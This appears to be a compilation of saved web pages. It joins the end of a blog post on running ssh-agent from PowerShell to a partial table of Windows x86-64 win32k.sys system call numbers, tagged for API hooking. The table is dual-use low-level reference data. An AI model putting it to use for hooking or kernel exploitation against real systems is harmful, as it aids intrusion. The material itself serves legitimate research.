  * `Start-SshAgent` \- Starts the agent process and sets the appropriate environment variables for SSH.
  * `Stop-SshAgent` \- Stops the process if there is one and unsets the variables.
  * `Add-SshKey` \- Instructs the agent to add the given key to itself. This will cause you to be prompted for the passphrase.

The final section of the file is run automatically when you open a new
Powershell window. It will check for an agent process and if none is found it
will begin one and add your default key \(normally`~/.ssh/id_rsa`\). Change
this to pass in an alternative key path if necessary, although these defaults
will probably fit most people's needs. If an agent is found, a message is
displayed to show that this is the case. Since ssh-agent is always running in
the background, using this solution will cause you to receive only one prompt
for the key passphrase - when the first Powershell window is opened. If you
later need to close ssh-agent \(maybe you wish to let someone else use your
computer\), simply invoke`Stop-SshAgent`.

### Notes

I have made it run and add the default key automatically as I use git
regularly and if I am opening Powershell, I am almost certainly going to be
using git or SSHing into something sooner or later. It is also for this reason
that I find this such a useful solution - I do not like having to type my key
passphrase, but equally I understand the security benefits having a passphrase
\(as opposed to a blank one\) brings.

In order for this script to work correctly, the binaries for ssh and ssh-agent
must be accessible on the PATH. If you have installed Msysgit to allow use
from the windows command line \(I always do this\), this will most likely be
set for you already. If not, they will be located in the bin folder within
your git installation.

I created this and wrote this post because I could find nothing for using ssh-
agent on Windows at all, let alone Powershell. I find this surprising as its
such a useful thing to have. However I did learn a lot about ssh-agent in the
process, so its no loss at all. I hope this saves somebody some time since now
the wheel will not need to be re-invented.

# Windows x86-64 WIN32K.SYS System Call Table \(NT/2000/XP/2003/Vista/2008/7\)

**Created:**| _9/10/2010 9:43:09 AM_  
---|---  
**Updated:**| _9/10/2010 9:43:09 AM_  
**Author:**| _wishi_  
**Tags:**| _API hooking windows environment_  
  

# Windows x86-64 WIN32K.SYS System Call Table \(NT/2000/XP/2003/Vista/2008/7\)

**Author: j00ru \(j00ru.vx tech blog\)**  
**TeamVexillium**

Special thanks to: Woodmann, Deus, Gynvael Coldwind, MeMek, Alex, Omega Red

Layout by Metasploit Team

  
Enter the Syscall ID to highlight \(hex\):  
  
  
---  
  
System Call Symbol | Windows XP | Windows 2003 Server | Windows Vista | Windows 2008 Server | Windows 7  
---|---|---|---|---|---  
DxgStubAlphaBlt |     |     |  0x1301  |  0x1277  |  0x1277   
EngDeletePalette |  0x1198  |  0x1198  |     |     |      
EngRestoreFloatingPointState |  0x121c  |  0x121c  |  0x126b  |  0x1278  |  0x1278   
GreSetFontEnumeration |  0x111e  |  0x111e  |     |     |      
NtGdiAbortDoc |  0x1127  |  0x1127  |  0x1128  |  0x111f  |  0x111f   
NtGdiAbortPath |  0x1128  |  0x1128  |  0x1129  |  0x1120  |  0x1120   
NtGdiAddEmbFontToDC |  0x1129  |  0x1129  |  0x112a  |  0x1121  |  0x1121   
NtGdiAddFontMemResourceEx |  0x1116  |  0x1116  |  0x1117  |  0x1110  |  0x1110   
NtGdiAddFontResourceW |  0x112a  |  0x112a  |  0x112b  |  0x1122  |  0x1122   
NtGdiAddRemoteFontToDC |  0x112b  |  0x112b  |  0x112c  |  0x1123  |  0x1123   
NtGdiAddRemoteMMInstanceToDC |  0x112c  |  0x112c  |  0x112d  |  0x1124  |  0x1124   
NtGdiAlphaBlend |  0x107d  |  0x107d  |  0x107e  |  0x107c  |  0x107c   
NtGdiAngleArc |  0x112d  |  0x112d  |  0x112e  |  0x1125  |  0x1125   
NtGdiAnyLinkedFonts |  0x112e  |  0x112e  |  0x112f  |  0x1126  |  0x1126   
NtGdiArcInternal |  0x112f  |  0x112f  |  0x1130  |  0x1127  |  0x1127   
NtGdiBRUSHOBJ\_DeleteRbrush |  0x1130  |  0x1130  |  0x1131  |  0x1128  |  0x1128   
NtGdiBRUSHOBJ\_hGetColorTransform |  0x1131  |  0x1131  |  0x1132  |  0x1129  |  0x1129   
NtGdiBRUSHOBJ\_pvAllocRbrush |  0x1132  |  0x1132  |  0x1133  |  0x112a  |  0x112a   
NtGdiBRUSHOBJ\_pvGetRbrush |  0x1133  |  0x1133  |  0x1134  |  0x112b  |  0x112b   
NtGdiBRUSHOBJ\_ulGetBrushColor |  0x1134  |  0x1134  |  0x1135  |  0x112c  |  0x112c   
NtGdiBeginGdiRendering |     |     |     |  0x112d  |  0x112d   
NtGdiBeginPath |  0x110f  |  0x110f  |  0x1110  |  0x1109  |  0x1109   
NtGdiBitBlt |  0x1008  |  0x1008  |  0x1008  |  0x1008  |  0x1008   
NtGdiCLIPOBJ\_bEnum |  0x1135  |  0x1135  |  0x1136  |  0x112e  |  0x112e   
NtGdiCLIPOBJ\_cEnumStart |  0x1136  |  0x1136  |  0x1137  |  0x112f  |  0x112f   
NtGdiCLIPOBJ\_ppoGetPath |  0x1137  |  0x1137  |  0x1138  |  0x1130  |  0x1130   
NtGdiCancelDC |  0x1138  |  0x1138  |  0x1139  |  0x1131  |  0x1131   
NtGdiChangeGhostFont |  0x1139  |  0x1139  |  0x113a  |  0x1132  |  0x1132   
NtGdiCheckBitmapBits |  0x113a  |  0x113a  |  0x113b  |  0x1133  |  0x1133   
NtGdiClearBitmapAttributes |  0x113b  |  0x113b  |  0x113c  |  0x1134  |  0x1134   
NtGdiClearBrushAttributes |  0x113c  |  0x113c  |  0x113d  |  0x1135  |  0x1135   
NtGdiCloseFigure |  0x1105  |  0x1105  |  0x1106  |  0x1100  |  0x1100   
NtGdiColorCorrectPalette |  0x113d  |  0x113d  |  0x113e  |  0x1136  |  0x1136   
NtGdiCombineRgn |  0x1033  |  0x1033  |  0x1034  |  0x1034  |  0x1034   
NtGdiCombineTransform |  0x10f4  |  0x10f4  |  0x10f5  |  0x10f0  |  0x10f0   
NtGdiComputeXformCoefficients |  0x108c  |  0x108c  |  0x108d  |  0x108b  |  0x108b   
NtGdiConfigureOPMProtectedOutput |     |     |  0x113f  |  0x1137  |  0x1137   
NtGdiConsoleTextOut |  0x106d  |  0x106d  |  0x106e  |     |      
NtGdiConvertMetafileRect |  0x113e  |  0x113e  |  0x1140  |  0x1138  |  0x1138   
NtGdiCreateBitmap |  0x106c  |  0x106c  |  0x106d  |  0x106d  |  0x106d   
NtGdiCreateBitmapFromDxSurface |     |     |     |  0x1139  |  0x1139   
NtGdiCreateClientObj |  0x10be  |  0x10be  |  0x10bf  |  0x10ba  |  0x10ba   
NtGdiCreateColorSpace |  0x1124  |  0x1124  |  0x1125  |  0x111c  |  0x111c   
NtGdiCreateColorTransform |  0x113f  |  0x113f  |  0x1141  |  0x113a  |  0x113a   
NtGdiCreateCompatibleBitmap |  0x104a  |  0x104a  |  0x104b  |  0x104b  |  0x104b   
NtGdiCreateCompatibleDC |  0x1054  |  0x1054  |  0x1055  |  0x1055  |  0x1055   
NtGdiCreateDIBBrush |  0x1075  |  0x1075  |  0x1076  |  0x1074  |  0x1074   
NtGdiCreateDIBSection |  0x109b  |  0x109b  |  0x109c  |  0x109a  |  0x109a   
NtGdiCreateDIBitmapInternal |  0x10a0  |  0x10a0  |  0x10a1  |  0x109f  |  0x109f   
NtGdiCreateEllipticRgn |  0x1140  |  0x1140  |  0x1142  |  0x113b  |  0x113b   
NtGdiCreateHalftonePalette |  0x10f1  |  0x10f1  |  0x10f2  |  0x10ed  |  0x10ed   
NtGdiCreateHatchBrushInternal |  0x1141  |  0x1141  |  0x1143  |  0x113c  |  0x113c   
NtGdiCreateMetafileDC |  0x1142  |  0x1142  |  0x1144  |  0x113d  |  0x113d   
NtGdiCreateOPMProtectedOutputs |     |     |  0x1145  |  0x113e  |  0x113e   
NtGdiCreatePaletteInternal |  0x10b0  |  0x10b0  |  0x10b1  |  0x10ac  |  0x10ac   
NtGdiCreatePatternBrushInternal |  0x10b5  |  0x10b5  |  0x10b6  |  0x10b1  |  0x10b1   
NtGdiCreatePen |  0x1056  |  0x1056  |  0x1057  |  0x1057  |  0x1057   
NtGdiCreateRectRgn |  0x1085  |  0x1085  |  0x1086  |  0x1084  |  0x1084   
NtGdiCreateRoundRectRgn |  0x1143  |  0x1143  |  0x1146  |  0x113f  |  0x113f   
NtGdiCreateServerMetaFile |  0x1144  |  0x1144  |  0x1147  |  0x1140  |  0x1140   
NtGdiCreateSolidBrush |  0x10bc  |  0x10bc  |  0x10bd  |  0x10b8  |  0x10b8   
NtGdiD3dContextCreate |  0x1145  |  0x1145  |  0x1148  |  0x1141  |  0x1141   
NtGdiD3dContextDestroy |  0x1146  |  0x1146  |  0x1149  |  0x1142  |  0x1142   
NtGdiD3dContextDestroyAll |  0x1147  |  0x1147  |  0x114a  |  0x1143  |  0x1143   
NtGdiD3dDrawPrimitives2 |  0x1064  |  0x1064  |  0x1065  |  0x1065  |  0x1065   
NtGdiD3dValidateTextureStageState |  0x1148  |  0x1148  |  0x114b  |  0x1144  |  0x1144   
NtGdiDDCCIGetCapabilitiesString |     |     |  0x114c  |  0x1145  |  0x1145   
NtGdiDDCCIGetCapabilitiesStringLength |     |     |  0x114d  |  0x1146  |  0x1146   
NtGdiDDCCIGetTimingReport |     |     |  0x114e  |  0x1147  |  0x1147   
NtGdiDDCCIGetVCPFeature |     |     |  0x114f  |  0x1148  |  0x1148   
NtGdiDDCCISaveCurrentSettings |     |     |  0x1150  |  0x1149  |  0x1149   
NtGdiDDCCISetVCPFeature |     |     |  0x1151  |  0x114a  |  0x114a   
NtGdiDdAddAttachedSurface |  0x1149  |  0x1149  |  0x1152  |  0x114b  |  0x114b   
NtGdiDdAlphaBlt |  0x114a  |  0x114a  |  0x1153  |  0x114c  |  0x114c   
NtGdiDdAttachSurface |  0x114b  |  0x114b  |  0x1154  |  0x114d  |  0x114d   
NtGdiDdBeginMoCompFrame |  0x114c  |  0x114c  |  0x1155  |  0x114e  |  0x114e   
NtGdiDdBlt |  0x107e  |  0x107e  |  0x107f  |  0x107d  |  0x107d   
NtGdiDdCanCreateD3DBuffer |  0x114d  |  0x114d  |  0x1156  |  0x114f  |  0x114f   
NtGdiDdCanCreateSurface |  0x10a6  |  0x10a6  |  0x10a7  |  0x10a2  |  0x10a2   
NtGdiDdColorControl |  0x114e  |  0x114e  |  0x1157  |  0x1150  |  0x1150   
NtGdiDdCreateD3DBuffer |  0x114f  |  0x114f  |  0x1158  |  0x1151  |  0x1151   
NtGdiDdCreateDirectDrawObject |  0x1150  |  0x1150  |  0x1159  |  0x1152  |  0x1152   
NtGdiDdCreateFullscreenSprite |     |     |     |  0x1153  |  0x1153   
NtGdiDdCreateMoComp |  0x1151  |  0x1151  |  0x115a  |  0x1154  |  0x1154   
NtGdiDdCreateSurface |  0x10a7  |  0x10a7  |  0x10a8  |  0x10a3  |  0x10a3   
NtGdiDdCreateSurfaceEx |  0x10c6  |  0x10c6  |  0x10c7  |  0x10c2  |  0x10c2   
NtGdiDdCreateSurfaceObject |  0x10c7  |  0x10c7  |  0x10c8  |  0x10c3  |  0x10c3   
NtGdiDdDDIAcquireKeyedMutex |     |     |     |  0x1155  |  0x1155   
NtGdiDdDDICheckExclusiveOwnership |     |     |  0x115b  |  0x1156  |  0x1156   
NtGdiDdDDICheckMonitorPowerState |     |     |  0x115c  |  0x1157  |  0x1157   
NtGdiDdDDICheckOcclusion |     |     |  0x115d  |  0x1158  |  0x1158   
NtGdiDdDDICheckSharedResourceAccess |     |     |     |  0x1159  |  0x1159   
NtGdiDdDDICheckVidPnExclusiveOwnership |     |     |     |  0x115a  |  0x115a   
NtGdiDdDDICloseAdapter |     |     |  0x115e  |  0x115b  |  0x115b   
NtGdiDdDDIConfigureSharedResource |     |     |     |  0x115c  |  0x115c   
NtGdiDdDDICreateAllocation |     |     |  0x115f  |  0x115d  |  0x115d   
NtGdiDdDDICreateContext |     |     |  0x1160  |  0x115e  |  0x115e   
NtGdiDdDDICreateDCFromMemory |     |     |  0x1161  |  0x115f  |  0x115f   
NtGdiDdDDICreateDevice |     |     |  0x1162  |  0x1160  |  0x1160   
NtGdiDdDDICreateKeyedMutex |     |     |     |  0x1161  |  0x1161   
NtGdiDdDDICreateOverlay |     |     |  0x1163  |  0x1162  |  0x1162   
NtGdiDdDDICreateSynchronizationObject |     |     |  0x1164  |  0x1163  |  0x1163   
NtGdiDdDDIDestroyAllocation |     |     |  0x1165  |  0x1164  |  0x1164   
NtGdiDdDDIDestroyContext |     |     |  0x1166  |  0x1165  |  0x1165   
NtGdiDdDDIDestroyDCFromMemory |     |     |  0x1167  |  0x1166  |  0x1166   
NtGdiDdDDIDestroyDevice |     |     |  0x1168  |  0x1167  |  0x1167   
NtGdiDdDDIDestroyKeyedMutex |     |     |     |  0x1168  |  0x1168   
NtGdiDdDDIDestroyOverlay |     |     |  0x1169  |  0x1169  |  0x1169   
NtGdiDdDDIDestroySynchronizationObject |     |     |  0x116a  |  0x116a  |  0x116a   
NtGdiDdDDIEscape |     |     |  0x116b  |  0x116b  |  0x116b   
NtGdiDdDDIFlipOverlay |     |     |  0x116c  |  0x116c  |  0x116c   
NtGdiDdDDIGetContextSchedulingPriority |     |     |  0x116d  |  0x116d  |  0x116d   
NtGdiDdDDIGetDeviceState |     |     |  0x116e  |  0x116e  |  0x116e   
NtGdiDdDDIGetDisplayModeList |     |     |  0x116f  |  0x116f  |  0x116f   
NtGdiDdDDIGetMultisampleMethodList |     |     |  0x1170  |  0x1170  |  0x1170   
NtGdiDdDDIGetOverlayState |     |     |     |  0x1171  |  0x1171   
NtGdiDdDDIGetPresentHistory |     |     |  0x1171  |  0x1172  |  0x1172   
NtGdiDdDDIGetPresentQueueEvent |     |     |     |  0x1173  |  0x1173   
NtGdiDdDDIGetProcessSchedulingPriorityClass |     |     |  0x1172  |  0x1174  |  0x1174   
NtGdiDdDDIGetRuntimeData |     |     |  0x1173  |  0x1175  |  0x1175   
NtGdiDdDDIGetScanLine |     |     |  0x1174  |  0x1176  |  0x1176   
NtGdiDdDDIGetSharedPrimaryHandle |     |     |  0x1175  |  0x1177  |  0x1177   
NtGdiDdDDIInvalidateActiveVidPn |     |     |  0x1176  |  0x1178  |  0x1178   
NtGdiDdDDILock |     |     |  0x1177  |  0x1179  |  0x1179   
NtGdiDdDDIOpenAdapterFromDeviceName |     |     |  0x1178  |  0x117a  |  0x117a   
NtGdiDdDDIOpenAdapterFromHdc |     |     |  0x1179  |  0x117b  |  0x117b   
NtGdiDdDDIOpenKeyedMutex |     |     |     |  0x117c  |  0x117c   
NtGdiDdDDIOpenResource |     |     |  0x117a  |  0x117d  |  0x117d   
NtGdiDdDDIOpenSynchronizationObject |     |     |     |  0x117e  |  0x117e   
NtGdiDdDDIPollDisplayChildren |     |     |  0x117b  |  0x117f  |  0x117f   
NtGdiDdDDIPresent |     |     |  0x117c  |  0x1180  |  0x1180   
NtGdiDdDDIQueryAdapterInfo |     |     |  0x117d  |  0x1181  |  0x1181   
NtGdiDdDDIQueryAllocationResidency |     |     |  0x117e  |  0x1182  |  0x1182   
NtGdiDdDDIQueryResourceInfo |     |     |  0x117f  |  0x1183  |  0x1183   
NtGdiDdDDIQueryStatistics |     |     |  0x1180  |  0x1184  |  0x1184   
NtGdiDdDDIReleaseKeyedMutex |     |     |     |  0x1185  |  0x1185   
NtGdiDdDDIReleaseProcessVidPnSourceOwners |     |     |  0x1181  |  0x1186  |  0x1186   
NtGdiDdDDIRender |     |     |  0x1182  |  0x1187  |  0x1187   
NtGdiDdDDISetAllocationPriority |     |     |  0x1183  |  0x1188  |  0x1188   
NtGdiDdDDISetContextSchedulingPriority |     |     |  0x1184  |  0x1189  |  0x1189   
NtGdiDdDDISetDisplayMode |     |     |  0x1185  |  0x118a  |  0x118a   
NtGdiDdDDISetDisplayPrivateDriverFormat |     |     |  0x1186  |  0x118b  |  0x118b   
NtGdiDdDDISetGammaRamp |     |     |  0x1187  |  0x118c  |  0x118c   
NtGdiDdDDISetProcessSchedulingPriorityClass |     |     |  0x1188  |  0x118d  |  0x118d   
NtGdiDdDDISetQueuedLimit |     |     |  0x1189  |  0x118e  |  0x118e   
NtGdiDdDDISetVidPnSourceOwner |     |     |  0x118a  |  0x118f  |  0x118f   
NtGdiDdDDISharedPrimaryLockNotification |     |     |  0x118b  |  0x1190  |  0x1190   
NtGdiDdDDISharedPrimaryUnLockNotification |     |     |  0x118c  |  0x1191  |  0x1191   
NtGdiDdDDISignalSynchronizationObject |     |     |  0x118d  |  0x1192  |  0x1192   
NtGdiDdDDIUnlock |     |     |  0x118e  |  0x1193  |  0x1193   
NtGdiDdDDIUpdateOverlay |     |     |  0x118f  |  0x1194  |  0x1194   
NtGdiDdDDIWaitForIdle |     |     |  0x1190  |  0x1195  |  0x1195   
NtGdiDdDDIWaitForSynchronizationObject |     |     |  0x1191  |  0x1196  |  0x1196   
NtGdiDdDDIWaitForVerticalBlankEvent |     |     |  0x1192  |  0x1197  |  0x1197   
NtGdiDdDeleteDirectDrawObject |  0x1152  |  0x1152  |  0x1193  |  0x1198  |  0x1198   
NtGdiDdDeleteSurfaceObject |  0x10a2  |  0x10a2  |  0x10a3  |  0x10a1  |  0x10a1   
NtGdiDdDestroyD3DBuffer |  0x1153  |  0x1153  |  0x1194  |  0x1199  |  0x1199   
NtGdiDdDestroyFullscreenSprite |     |     |     |  0x119a  |  0x119a   
NtGdiDdDestroyMoComp |  0x1154  |  0x1154  |  0x1195  |  0x119b  |  0x119b   
NtGdiDdDestroySurface |  0x10a9  |  0x10a9  |  0x10aa  |  0x10a5  |  0x10a5   
NtGdiDdEndMoCompFrame |  0x1155  |  0x1155  |  0x1196  |  0x119c  |  0x119c   
NtGdiDdFlip |  0x1156  |  0x1156  |  0x1197  |  0x119d  |  0x119d   
NtGdiDdFlipToGDISurface |  0x1157  |  0x1157  |  0x1198  |  0x119e  |  0x119e   
NtGdiDdGetAvailDriverMemory |  0x1158  |  0x1158  |  0x1199  |  0x119f  |  0x119f   
NtGdiDdGetBltStatus |  0x1159  |  0x1159  |  0x119a  |  0x11a0  |  0x11a0   
NtGdiDdGetDC |  0x115a  |  0x115a  |  0x119b  |  0x11a1  |  0x11a1   
NtGdiDdGetDriverInfo |  0x115b  |  0x115b  |  0x119c  |  0x11a2  |  0x11a2   
NtGdiDdGetDriverState |  0x115c  |  0x115c  |  0x119d  |  0x11a3  |  0x11a3   
NtGdiDdGetDxHandle |  0x115d  |  0x115d  |  0x119e  |  0x11a4  |  0x11a4   
NtGdiDdGetFlipStatus |  0x115e  |  0x115e  |  0x119f  |  0x11a5  |  0x11a5   
NtGdiDdGetInternalMoCompInfo |  0x115f  |  0x115f  |  0x11a0  |  0x11a6  |  0x11a6   
NtGdiDdGetMoCompBuffInfo |  0x1160  |  0x1160  |  0x11a1  |  0x11a7  |  0x11a7   
NtGdiDdGetMoCompFormats |  0x1161  |  0x1161  |  0x11a2  |  0x11a8  |  0x11a8   
NtGdiDdGetMoCompGuids |  0x1162  |  0x1162  |  0x11a3  |  0x11a9  |  0x11a9   
NtGdiDdGetScanLine |  0x1163  |  0x1163  |  0x11a4  |  0x11aa  |  0x11aa   
NtGdiDdLock |  0x1164  |  0x1164  |  0x11a5  |  0x11ab  |  0x11ab   
NtGdiDdLockD3D |  0x10c9  |  0x10c9  |  0x10ca  |  0x10c5  |  0x10c5   
NtGdiDdNotifyFullscreenSpriteUpdate |     |     |     |  0x11ac  |  0x11ac   
NtGdiDdQueryDirectDrawObject |  0x1165  |  0x1165  |  0x11a6  |  0x11ad  |  0x11ad   
NtGdiDdQueryMoCompStatus |  0x1166  |  0x1166  |  0x11a7  |  0x11ae  |  0x11ae   
NtGdiDdQueryVisRgnUniqueness |     |     |     |  0x11af  |  0x11af   
NtGdiDdReenableDirectDrawObject |  0x1167  |  0x1167  |  0x11a8  |  0x11b0  |  0x11b0   
NtGdiDdReleaseDC |  0x1168  |  0x1168  |  0x11a9  |  0x11b1  |  0x11b1   
NtGdiDdRenderMoComp |  0x1169  |  0x1169  |  0x11aa  |  0x11b2  |  0x11b2   
NtGdiDdResetVisrgn |  0x10ae  |  0x10ae  |  0x10af  |  0x10aa  |  0x10aa   
NtGdiDdSetColorKey |  0x116a  |  0x116a  |  0x11ab  |  0x11b3  |  0x11b3   
NtGdiDdSetExclusiveMode |  0x116b  |  0x116b  |  0x11ac  |  0x11b4  |  0x11b4   
NtGdiDdSetGammaRamp |  0x116c  |  0x116c  |  0x11ad  |  0x11b5  |  0x11b5   
NtGdiDdSetOverlayPosition |  0x116d  |  0x116d  |  0x11ae  |  0x11b6  |  0x11b6   
NtGdiDdUnattachSurface |  0x116e  |  0x116e  |  0x11af  |  0x11b7  |  0x11b7   
NtGdiDdUnlock |  0x116f  |  0x116f  |  0x11b0  |  0x11b8  |  0x11b8   
NtGdiDdUnlockD3D |  0x10ca  |  0x10ca  |  0x10cb  |  0x10c6  |  0x10c6   
NtGdiDdUpdateOverlay |  0x1170  |  0x1170  |  0x11b1  |  0x11b9  |  0x11b9   
NtGdiDdWaitForVerticalBlank |  0x1171  |  0x1171  |  0x11b2  |  0x11ba  |  0x11ba   
NtGdiDeleteClientObj |  0x1088  |  0x1088  |  0x1089  |  0x1087  |  0x1087   
NtGdiDeleteColorSpace |  0x1125  |  0x1125  |  0x1126  |  0x111d  |  0x111d   
NtGdiDeleteColorTransform |  0x1172  |  0x1172  |  0x11b3  |  0x11bb  |  0x11bb   
NtGdiDeleteObjectApp |  0x1022  |  0x1022  |  0x1023  |  0x1023  |  0x1023   
NtGdiDescribePixelFormat |  0x1173  |  0x1173  |  0x11b4  |  0x11bc  |  0x11bc   
NtGdiDestroyOPMProtectedOutput |     |     |  0x11b5  |  0x11bd  |  0x11bd   
NtGdiDestroyPhysicalMonitor |     |     |  0x11b6  |  0x11be  |  0x11be   
NtGdiDoBanding |  0x1174  |  0x1174  |  0x11b7  |  0x11bf  |  0x11bf   
NtGdiDoPalette |  0x1046  |  0x1046  |  0x1047  |  0x1047  |  0x1047   
NtGdiDrawEscape |  0x1175  |  0x1175  |  0x11b8  |  0x11c0  |  0x11c0   
NtGdiDrawStream |  0x1061  |  0x1061  |  0x1062  |  0x1062  |  0x1062   
NtGdiDvpAcquireNotification |  0x1176  |  0x1176  |  0x11b9  |  0x11c1  |  0x11c1   
NtGdiDvpCanCreateVideoPort |  0x1177  |  0x1177  |  0x11ba  |  0x11c2  |  0x11c2   
NtGdiDvpColorControl |  0x1178  |  0x1178  |  0x11bb  |  0x11c3  |  0x11c3   
NtGdiDvpCreateVideoPort |  0x1179  |  0x1179  |  0x11bc  |  0x11c4  |  0x11c4   
NtGdiDvpDestroyVideoPort |  0x117a  |  0x117a  |  0x11bd  |  0x11c5  |  0x11c5   
NtGdiDvpFlipVideoPort |  0x117b  |  0x117b  |  0x11be  |  0x11c6  |  0x11c6   
NtGdiDvpGetVideoPortBandwidth |  0x117c  |  0x117c  |  0x11bf  |  0x11c7  |  0x11c7   
NtGdiDvpGetVideoPortConnectInfo |  0x117d  |  0x117d  |  0x11c0  |  0x11c8  |  0x11c8   
NtGdiDvpGetVideoPortField |  0x117e  |  0x117e  |  0x11c1  |  0x11c9  |  0x11c9   
NtGdiDvpGetVideoPortFlipStatus |  0x117f  |  0x117f  |  0x11c2  |  0x11ca  |  0x11ca   
NtGdiDvpGetVideoPortInputFormats |  0x1180  |  0x1180  |  0x11c3  |  0x11cb  |  0x11cb   
NtGdiDvpGetVideoPortLine |  0x1181  |  0x1181  |  0x11c4  |  0x11cc  |  0x11cc   
NtGdiDvpGetVideoPortOutputFormats |  0x1182  |  0x1182  |  0x11c5  |  0x11cd  |  0x11cd   
NtGdiDvpGetVideoSignalStatus |  0x1183  |  0x1183  |  0x11c6  |  0x11ce  |  0x11ce   
NtGdiDvpReleaseNotification |  0x1184  |  0x1184  |  0x11c7  |  0x11cf  |  0x11cf   
NtGdiDvpUpdateVideoPort |  0x1185  |  0x1185  |  0x11c8  |  0x11d0  |  0x11d0   
NtGdiDvpWaitForVideoPortSync |  0x1186  |  0x1186  |  0x11c9  |  0x11d1  |  0x11d1   
NtGdiDwmGetDirtyRgn |     |     |  0x11ca  |     |      
NtGdiDwmGetSurfaceData |     |     |  0x11cb  |     |      
NtGdiDxgGenericThunk |  0x1187  |  0x1187  |  0x11cc  |  0x11d2  |  0x11d2   
NtGdiEllipse |  0x1188  |  0x1188  |  0x11cd  |  0x11d3  |  0x11d3   
NtGdiEnableEudc |  0x1189  |  0x1189  |  0x11ce  |  0x11d4  |  0x11d4   
NtGdiEndDoc |  0x118a  |  0x118a  |  0x11cf  |  0x11d5  |  0x11d5   
NtGdiEndGdiRendering |     |     |     |  0x11d6  |  0x11d6   
NtGdiEndPage |  0x118b  |  0x118b  |  0x11d0  |  0x11d7  |  0x11d7   
NtGdiEndPath |  0x1110  |  0x1110  |  0x1111  |  0x110a  |  0x110a   
NtGdiEngAlphaBlend |  0x118c  |  0x118c  |  0x11d1  |  0x11d8  |  0x11d8   
NtGdiEngAssociateSurface |  0x118d  |  0x118d  |  0x11d2  |  0x11d9  |  0x11d9   
NtGdiEngBitBlt |  0x118e  |  0x118e  |  0x11d3  |  0x11da  |  0x11da   
NtGdiEngCheckAbort |  0x118f  |  0x118f  |  0x11d4  |  0x11db  |  0x11db   
NtGdiEngComputeGlyphSet |  0x1190  |  0x1190  |  0x11d5  |  0x11dc  |  0x11dc   
NtGdiEngCopyBits |  0x1191  |  0x1191  |  0x11d6  |  0x11dd  |  0x11dd   
NtGdiEngCreateBitmap |  0x1192  |  0x1192  |  0x11d7  |  0x11de  |  0x11de   
NtGdiEngCreateClip |  0x1193  |  0x1193  |  0x11d8  |  0x11df  |  0x11df   
NtGdiEngCreateDeviceBitmap |  0x1194  |  0x1194  |  0x11d9  |  0x11e0  |  0x11e0   
NtGdiEngCreateDeviceSurface |  0x1195  |  0x1195  |  0x11da  |  0x11e1  |  0x11e1   
NtGdiEngCreatePalette |  0x1196  |  0x1196  |  0x11db  |  0x11e2  |  0x11e2   
NtGdiEngDeleteClip |  0x1197  |  0x1197  |  0x11dc  |  0x11e3  |  0x11e3   
NtGdiEngDeletePalette |     |     |  0x11dd  |  0x11e4  |  0x11e4   
NtGdiEngDeletePath |  0x1199  |  0x1199  |  0x11de  |  0x11e5  |  0x11e5   
NtGdiEngDeleteSurface |  0x119a  |  0x119a  |  0x11df  |  0x11e6  |  0x11e6   
NtGdiEngEraseSurface |  0x119b  |  0x119b  |  0x11e0  |  0x11e7  |  0x11e7   
NtGdiEngFillPath |  0x119c  |  0x119c  |  0x11e1  |  0x11e8  |  0x11e8   
NtGdiEngGradientFill |  0x119d  |  0x119d  |  0x11e2  |  0x11e9  |  0x11e9   
NtGdiEngLineTo |  0x119e  |  0x119e  |  0x11e3  |  0x11ea  |  0x11ea   
NtGdiEngLockSurface |  0x119f  |  0x119f  |  0x11e4  |  0x11eb  |  0x11eb   
NtGdiEngMarkBandingSurface |  0x11a0  |  0x11a0  |  0x11e5  |  0x11ec  |  0x11ec   
NtGdiEngPaint |  0x11a1  |  0x11a1  |  0x11e6  |  0x11ed  |  0x11ed   
NtGdiEngPlgBlt |  0x11a2  |  0x11a2  |  0x11e7  |  0x11ee  |  0x11ee   
NtGdiEngStretchBlt |  0x11a3  |  0x11a3  |  0x11e8  |  0x11ef  |  0x11ef   
NtGdiEngStretchBltROP |  0x11a4  |  0x11a4  |  0x11e9  |  0x11f0  |  0x11f0   
NtGdiEngStrokeAndFillPath |  0x11a5  |  0x11a5  |  0x11ea  |  0x11f1  |  0x11f1   
NtGdiEngStrokePath |  0x11a6  |  0x11a6  |  0x11eb  |  0x11f2  |  0x11f2   
NtGdiEngTextOut |  0x11a7  |  0x11a7  |  0x11ec  |  0x11f3  |  0x11f3   
NtGdiEngTransparentBlt |  0x11a8  |  0x11a8  |  0x11ed  |  0x11f4  |  0x11f4   
NtGdiEngUnlockSurface |  0x11a9  |  0x11a9  |  0x11ee  |  0x11f5  |  0x11f5   
NtGdiEnumFontChunk |  0x10a5  |  0x10a5  |  0x10a6  |     |      
NtGdiEnumFontClose |  0x10a3  |  0x10a3  |  0x10a4  |     |      
NtGdiEnumFontOpen |  0x10a4  |  0x10a4  |  0x10a5  |     |      
NtGdiEnumFonts |     |     |     |  0x11f6  |  0x11f6   
NtGdiEnumObjects |  0x11aa  |  0x11aa  |  0x11ef  |  0x11f7  |  0x11f7   
NtGdiEqualRgn |  0x1117  |  0x1117  |  0x1118  |  0x1111  |  0x1111   
NtGdiEudcLoadUnloadLink |  0x11ab  |  0x11ab  |  0x11f0  |  0x11f8  |  0x11f8   
NtGdiExcludeClipRect |  0x109a  |  0x109a  |  0x109b  |  0x1099  |  0x1099   
NtGdiExtCreatePen |  0x10af  |  0x10af  |  0x10b0  |  0x10ab  |  0x10ab   
NtGdiExtCreateRegion |  0x108b  |  0x108b  |  0x108c  |  0x108a  |  0x108a   
NtGdiExtEscape |  0x111c  |  0x111c  |  0x111d  |  0x1116  |  0x1116   
NtGdiExtFloodFill |  0x11ac  |  0x11ac  |  0x11f1  |  0x11f9  |  0x11f9   
NtGdiExtGetObjectW |  0x1051  |  0x1051  |  0x1052  |  0x1052  |  0x1052   
NtGdiExtSelectClipRgn |  0x102d  |  0x102d  |  0x102e  |  0x102e  |  0x102e   
NtGdiExtTextOutW |  0x1037  |  0x1037  |  0x1038  |  0x1038  |  0x1038   
NtGdiFONTOBJ\_cGetAllGlyphHandles |  0x11ad  |  0x11ad  |  0x11f2  |  0x11fa  |  0x11fa   
NtGdiFONTOBJ\_cGetGlyphs |  0x11ae  |  0x11ae  |  0x11f3  |  0x11fb  |  0x11fb   
NtGdiFONTOBJ\_pQueryGlyphAttrs |  0x11af  |  0x11af  |  0x11f4  |  0x11fc  |  0x11fc   
NtGdiFONTOBJ\_pfdg |  0x11b0  |  0x11b0  |  0x11f5  |  0x11fd  |  0x11fd   
NtGdiFONTOBJ\_pifi |  0x11b1  |  0x11b1  |  0x11f6  |  0x11fe  |  0x11fe   
